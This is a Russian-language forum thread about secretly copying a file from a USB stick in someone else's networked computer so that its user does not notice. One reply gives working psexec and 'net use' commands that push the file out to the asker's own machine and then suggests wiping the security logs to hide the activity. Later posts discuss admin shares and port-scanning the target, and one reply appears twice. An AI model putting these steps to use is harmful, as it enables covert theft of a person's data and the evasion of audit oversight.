FAQ - Проблема с удаленным доступом к файлам

[grohochet]

Заранее благодарен всем откликнувшимся!!Постараюсь описать проблему как можно подробнее:



В чем суть:

1)Скопировать файл с USB-флешки на известном удаленном компе

2)Физического доступа к компу нет

3)Комп в локалке,пароль админа и доступ к сервакам есть

4)Пользователь на удаленном компе не должен ничего узнать!!!

5)Стандартные шары не доступны,пишет нет прав



Может кто нибудь знает решение с учетом всех пунктов?

[grohochet]

Если есть права админа на удаленном компе.

Поскольку флешка наверняка не расшарена, то через удаленную командную строку.

Утилита psexec из пакета pstools

описание и пакет

psexec -u admin -p admpass \\totcomp cmd.exe

В удаленной командной строке подключаете свой диск:

net use x: \\moycomp\C

И копируете файл с флешки на свой диск X:

copy d:\file x:\*.*

Отключаете свой диск

net use X: /d

и отключаетесь от чужого компа

exit



А вот заметит ли пользователь удаленного компа - это вопрос. Обычный пользователь не заметит, все действия для него невидимы, но если в этот момент он откроет например "Мой компьютер" и увидит диск X: наверно удивится. Если включен аудит безопасности, то в логах тоже останутся какие-то следы. Правда логи можно и потереть после отключения диска X и выхода (утилита psloglist.exe из pstools)

[timotv]

Такая же беда:

Couldn't access



- после попытки выполнить psexec \\tim-nas -u admin -p 1 "D:\psshutdown.exe -k"



ПопробЫвал комманду:

net.exe use X: \\имя компа\ADMIN$



выдаёт:

Множественное подключение к серверу или к общим ресурсам одним пользователем с использованием более одного имени пользователя не разрешено. Отключите все предыдущие подключения к серверу или общим ресурсам и повторите попытку.



С чего такое?

[ab57]

Цитата grohochet:



═х эрщфхэ ёхЄхтющ яєЄ№.

FAQ - Проблема с удаленным доступом к файлам <Windows>

Это в WIN-кодировке - "Не найден сетевой путь". Может на момент вашего подключения он уже выключился ? Или попробуйте по IP - \\192.168.... или какой он там у него.

И есть еще один момент, - для работы psexec, на том компе должны быть доступны скрытые административные ресурсы IPC$ и ADMIN$. Обычно, если не предприняты специальные меры, они доступны.

[grohochet]

Цитата grohochet:



)Стандартные шары не доступны,пишет нет прав

FAQ - Проблема с удаленным доступом к файлам <Windows>

[ab57]

Цитата grohochet:



3)Комп в локалке,пароль админа и доступ к сервакам есть

FAQ - Проблема с удаленным доступом к файлам <Windows>

Так может быть вы имели ввиду права админа на своем компе, и прав локального админа на удаленном нет?

[grohochet]

Цитата ab57:



для работы psexec, на том компе должны быть доступны скрытые административные ресурсы IPC$ и ADMIN$.

FAQ - Проблема с удаленным доступом к файлам <Windows>

что можно сделать если недоступны?



права есть и локальные и сетевые

[ab57]

Если недоступны, то pstools отпадает. Врядли что у вас получится, если нет опыта взлома, и комп защищен. Можно попробовать просканировать его, например, XSpider'ом, посмотреть, что он из себя представляет, и можно ли хотя бы к чему-нибудь прицепиться. Но сканирование может быть замечено.

[grohochet]

Сканирование портов :

MsRDP порт 3389 / tcp Terminal Service остальные недоступны

[ab57]

Если недоступны, то pstools отпадает. Врядли что у вас получится, если нет опыта взлома, и комп защищен. Можно попробовать просканировать его, например, XSpider'ом, посмотреть, что он из себя представляет, и можно ли хотя бы к чему-нибудь прицепиться. Но сканирование может быть замечено.